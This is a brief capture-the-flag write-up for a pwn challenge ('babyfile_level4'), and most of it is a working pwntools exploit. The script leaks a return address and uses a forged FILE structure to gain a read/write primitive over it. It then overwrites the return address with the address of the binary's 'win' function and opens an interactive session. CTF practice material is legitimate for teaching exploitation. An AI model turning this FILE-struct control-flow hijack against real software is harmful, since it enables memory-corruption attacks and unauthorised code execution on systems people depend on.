(File Struct Exploits) level 4

Information

• category: pwn

Description

Harness the power of FILE structs to arbitrarily read/write data to hijack control flow.

Exploit

from pwn import *

elf = context.binary = ELF("/challenge/babyfile_level4")
global p
p = elf.process()

def exploit():
    p.recvuntil(b"stored at: ")
    ret_address = int(p.recvline()[:-1],16)

    fp = FileStructure()
    payload = fp.read(ret_address,266)
    p.send(payload)
    p.send(p64(elf.sym['win']) + b"\x00"*258)
    p.interactive()
    
def main():
    exploit()

if __name__ == "__main__":
    main()